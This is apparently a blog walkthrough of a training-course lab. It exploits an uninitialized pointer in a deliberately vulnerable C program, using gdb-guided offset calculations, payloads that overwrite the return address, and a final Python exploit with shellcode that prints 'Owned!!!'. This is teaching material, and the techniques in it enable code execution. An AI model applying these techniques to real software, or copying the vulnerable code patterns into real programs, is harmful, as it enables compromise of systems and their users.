THE

SPRAWL

  •  
  •  
  •  
  • Open Security Training's Introduction to Software Exploits course has a number of vulnerability examples designed to illustrate unconventional exploitation techniques. One such example is an uninitialized variable condition which may be exploitable under certain conditions. The following walkthrough goes into the exact exploitation steps for this class of vulnerabilities.

    The Challenge

    Below is the source code for the uninit_overflow.c which you can also find in the labs directory of the class virtual machine.

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    int do_auth(void)
    {
            char username[1024];
            char password[1024];
    
            printf("Username: ");
            fgets(username,1024,stdin);
            fflush(stdin);
    
            printf("Password: ");
            fgets(password,1024,stdin);
    
            printf("username at: 0x%x\n", &username);
            printf("password at 0x%x\n", &password);
    
            if (!strcmp(username, "user") &&
                    !strcmp(password, "password") == 0)
            {
                    return 0;
            }
    
            return -1;
    }
    
    int log_error(int farray, char *msg)
    {
            char *err, *mesg;
            char buffer[24];
    
            printf("mesg: 0x%x\n", mesg);
            memset(buffer,0x00,sizeof(buffer));
            sprintf(buffer, "Error: %s", mesg);
    
            printf("%s\n", buffer);
            return 0;
    }
    
    int main(void)
    {
            switch(do_auth())
            {
                    case -1:
                            log_error(-1,"Unable to login");
                            break;
                    default:
                            break;
            }
            return 0;
    }
    

    The vulnerability was caused by the uninitialized pointer *mesg in the function log_error. During the execution it would contain whatever value was on the stack at the time:

    $ ./uninit_overflow
    Username: user
    Password: pass
    username at: 0xbffff170
    password at 0xbfffed70
    mesg: 0xb7ff3b90  <--- uninitialized variable
    Error: U▒▒WVS▒▒
    

    The value of *mesg can be controlled by writing desired values on the stack in the previous function call, do_auth, using large, 1024 byte buffers allocated to hold username and password variables:

    $ python -c 'print "A"*1024 + "B"*1024' > payload
    $ ./uninit_overflow < payload
    Username: Password: username at: 0xbffff170
    password at 0xbfffed70
    mesg: 0x41414141
    Segmentation fault
    

    What makes this bug exploitable is the subsequent sprintf() call which copies a string located at *mesg to a 24 character buffer resulting in the overflow:

    char *err, *mesg;
    char buffer[24];
        :
        :
    sprintf(buffer, "Error: %s", mesg);
    

    By carefully crafting the source string pointer, you can overflow the stack buffer thus turning this into a classic stack buffer overflow exploit.

    Aligning stack frames

    The key to writing a successful exploit for this program is aligning do_auth and log_error stack frames in such a way that the local variable *mesg would hold a value we control.

    Let's look at the disassembly (compiled with TCC for consistency) to better understand stack allocations:

    0x0804843d <log_error+51>:      mov    eax,DWORD PTR [ebp-8]
    0x08048440 <log_error+54>:      push   eax
    0x08048441 <log_error+55>:      mov    eax,0x8049679
    0x08048446 <log_error+60>:      push   eax
    0x08048447 <log_error+61>:      lea    eax,[ebp-32]
    0x0804844a <log_error+64>:      push   eax
    0x0804844b <log_error+65>:      call   0x80485f0 <sprintf>
    

    Based on the above snippet from log_error, *mesg and buffer are located at [ebp-8] and [ebp-32] respectively.

    0x0804832e <do_auth+36>:        lea    eax,[ebp-0x400]
    0x08048334 <do_auth+42>:        push   eax
    0x08048335 <do_auth+43>:        call   0x80485b0 <fgets>  ; username
        :
        :
    0x08048367 <do_auth+93>:        lea    eax,[ebp-0x800]
    0x0804836d <do_auth+99>:        push   eax
    0x0804836e <do_auth+100>:       call   0x80485b0 <fgets>  ; password
    

    The two buffers in do_auth are located at [ebp-0x400] and [ebp-0x800] offsets. Since our target is somewhere around [ebp-8] range, only the first [ebp-0x400] is relevant.

    0x08048497 <main+38>:   push   eax
    0x08048498 <main+39>:   mov    eax,0xffffffff
    0x0804849d <main+44>:   push   eax
    0x0804849e <main+45>:   call   0x804840a <log_error>
    

    For the sake of precision, we also need to account for the two function parameters to the log_error function as listed above. These two parameters shift the frame by 8 bytes relative to the do_auth frame. Thus the exact offset that we need to write in the username buffer so that it corresponds to the *mesg pointer:

    1024 (username buffer) - 8 (mesg offset) - 8 (function parameters) = 1008
    

    Let's test this calculation:

    $ python -c 'print "A"*1008 + "CCCC" + "D"*12 + "B"*1024' > payload
    $ ./uninit_overflow < payload
    Username: Password: username at: 0xbffff170
    password at 0xbfffed70
    mesg: 0x43434343
    Segmentation fault
    

    Hurray! The calculation proved to be correct, here is a quick visualization of how the two stack frames overlap:

                do_auth frame        log_error frame
                +–––––––––––+         +-----------+
                | ret addr  |         | char *msg | (param2)
                +===========+         +-----------+
          [ebp] | saved ebp |         | int farray| (param1)
                +–––––––––––+         +-----------+
                |usrnm[1024]|         | ret addr  |
                |  :     :  |         +===========+          |
                |  :     :  |         | saved ebp | [ebp]    |
                |  :     :  |         +––-––-––-––+          | stack
                |  :     :  |         | char *err | [ebp-4]  |
                +-----------+         +––-––-––-––+          | growth
       [ebp-16] |43 43 43 43| <=====> | char *mesg| [ebp-8]  |
                +-----------+         +-----------+          | direction
                |  :     :  |         | buffer[24]|          |
                |  :     :  |         |  :     :  |          |
                |  :     :  |         | buffer[0] |          |
                |  :     :  |         +-----------+          |
                |  :     :  |         |  :     :  |          |
                |  :     :  |         |  :     :  |          V
      [ebp-400] |usernm[0]  |         |  :     :  |
                +–––––––––––+         |  :     :  |
                |passw[1024]|         |  :     :  |
                |  :     :  |         |  :     :  |
    

    We are now ready to manipulate the stack to cause the overflow.

    Stack Overflow

    With the ability to set the source string pointer to an arbitrary value, let's figure out where the user buffer is located on the stack.

    First set a breakpoint at the call to sprintf:

    $ gdb ./uninit_overflow
    (gdb) disas log_error
        :
        :
    0x0804843d <log_error+51>:      mov    eax,DWORD PTR [ebp-8]
    0x08048440 <log_error+54>:      push   eax
    0x08048441 <log_error+55>:      mov    eax,0x8049679
    0x08048446 <log_error+60>:      push   eax
    0x08048447 <log_error+61>:      lea    eax,[ebp-32]
    0x0804844a <log_error+64>:      push   eax
    0x0804844b <log_error+65>:      call   0x80485f0 <sprintf>
        :
        :
    (gdb) break *log_error+65
    Breakpoint 1 at 0x804844b: file uninit_overflow.c, line 40.
    (gdb) r < payload
    Starting program: /home/student/labs/uninit_overflow < payload
    Username: Password: username at: 0xbffff170
    password at 0xbfffed70
    mesg: 0x43434343
    
    Breakpoint 1, 0x0804844b in log_error () at uninit_overflow.c:40
    40              sprintf(buffer, "Error: %s", mesg);
    

    The current stack state should reflect all of the sprintf function parameters:

    (gdb) x/4x $esp
    0xbffff53c:     0xbffff548      0x08049679      0x43434343      0x00000000
                      buffer        fmt string        *mesg
    

    Now considering the previous stack frame was significantly larger than the current one, the beginning of the username buffer will be somewhere 1024 bytes further down the stack:

    (gdb) x/20x $esp - 0x400
    0xbffff13c:     0x42424242      0x42424242      0x42424242      0x42424242
    0xbffff14c:     0x42424242      0x42424242      0x42424242      0x42424242
    0xbffff15c:     0x42424242      0x42424242      0x42424242      0x42424242
    0xbffff16c:     0x00424242      0x41414141      0x41414141      0x41414141
    0xbffff17c:     0x41414141      0x41414141      0x41414141      0x41414141
    

    Excellent, so the previously stored username buffer begins at 0xbffff170 which could now be used for the *mesg variable:

    $ python -c 'print "A"*1008 + "\x70\xf1\xff\xbf" + "D"*12 + "B"*1024' > payload
    $ gdb ./uninit_overflow
    (gdb) r < payload
    Starting program: /home/student/labs/uninit_overflow < payload
    Username: Password: username at: 0xbffff170
    password at 0xbfffed70
    mesg: 0xbffff170
    Error: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD▒▒AAAAAAAA▒?▒l▒▒▒
    
    Program received signal SIGSEGV, Segmentation fault.
    0x41414141 in ?? ()
    

    As a result of copying the 1024 byte username buffer into the 24 byte buffer, the return address pointer was overwritten resulting in a classic stack buffer overflow!

    Controlling EIP

    The exploitation from this point on simply depends on calculating the right offset to overwrite the return address:

    32 (offset to EBP for the local buffer) + 4 (EBP) - 7 (length of "Error: " string) = 29
    

    So to test out the calculation:

    $ python -c 'print "A"*29 + "CCCC" + "B"*(1008-29-4) + "\x70\xf1\xff\xbf" + "D"*12 + "B"*1024' > payload
        :
    (gdb) r < payload
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    
    Starting program: /home/student/labs/uninit_overflow < payload
    Username: Password: username at: 0xbffff170
    password at 0xbfffed70
    mesg: 0xbffff170
    Error: AAAAAAAAAAAAAAAAAAAAAAAAAAAAACCCCBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBD▒▒BBBBBBBB▒?▒l▒▒▒
    
    Program received signal SIGSEGV, Segmentation fault.
    0x43434343 in ?? ()
    

    The address of the return pointer could be replaced by another stack address:

    $ python -c 'print "A"*29 + "\x91\xf1\xff\xbf" + "\xcc"*(1008-29-4) + "\x70\xf1\xff\xbf" + "D"*12 + "B"*1024' > payload
    (gdb) r < payload
        :
        :
    Starting program: /home/student/labs/uninit_overflow < payload
    Username: Password: username at: 0xbffff170
    password at 0xbfffed70
    mesg: 0xbffff170
    Error: AAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒D▒▒▒▒▒▒▒▒▒▒▒?▒l▒▒▒
    
    Program received signal SIGTRAP, Trace/breakpoint trap.
    0xbffff192 in ?? ()
    

    Alternatively, you could replace the return address with a stack pivot like JMP ESP which at the time of the overflow points to the user controlled buffer:

    (gdb) x/20x $esp
    0xbffff570:     0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
    0xbffff578:     0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc    0xcc
    0xbffff580:     0xcc    0xcc    0xcc    0xcc
    

    Exploit

    The final exploit integrates all of the above PoCs with a simple shellcode which prints "Owned!!!":

    #!/usr/bin/env python
    
    # Simple "Owned!!!" shellcode
    shellcode = (
    "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04"
    "\xb3\x01\x68\x64\x21\x21\x21\x68\x4f\x77"
    "\x6e\x65\x89\xe1\xb2\x08\xcd\x80\xb0\x01"
    "\x31\xdb\xcd\x80"
    )
    
    print "A"*29 + "\x91\xf1\xff\xbf" + shellcode + "A"*(1008-29-4-len(shellcode)) + "\x70\xf1\xff\xbf" + "D"*12 + "B"*1024
    

    Running the malicious payload on the vulnerable executable:

    $ python uninit_exploit.py > payload
    $ ./uninit_overflow < payload
    Username: Password: username at: 0xbffff170
    password at 0xbfffed70
    mesg: 0xbffff170
    Error: AAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒1▒1▒1▒1Ұ▒hd!!!hOwne▒̀▒1▒̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD▒▒AAAAAAAA▒?▒l▒▒▒
    Owned!!!
    

    This exercise illustrated how even small bugs like uninitialized variables could lead to arbitrary code execution under the right conditions.

    External Links and References

    Special Note

    Thank you Corey and the Open Security Training staff for bringing yet another excellent course.

    Published on May 4th, 2014 by iphelix

    sprawlsimilar

    open security training - introduction to software exploits - off-by-one

    A walkthrough for the Off-by-One exploit in the Open Security Training - Introduction to Software Exploits class. Read more.

    open security training - introduction to re - bomb lab secret phase

    A walkthrough for the Secret Phase of the Bomb Lab covered in Open Security Training's Introduction to Reverse Engineering class. Read more.

    heap overflows for humans - 102 - exercise solution

    Heap Overflows For Humans is a series of articles by Steven Seeley that explore heap exploitation on Windows. In this article I will go over the exact reasoning and exploitation steps for an exercise created by Steven in the second article of the series. Read more.

    corelan - integer overflows - exercise solution

    A solution to the exercise in the Corelan article Root Cause Analysis - Integer Overflows on exploiting integer and heap overflows. The solution illustrates massaging the heap into a vulnerable state by corrupting the Windows front-end allocator and finally exploiting it to gain arbitrary code execution. Read more.


    sprawlcomments

    All original content on this site is copyright protected and licensed under Creative Commons - Attribution, NonCommercial, ShareAlike 4.0 International.

    π
    ///\oo/\\\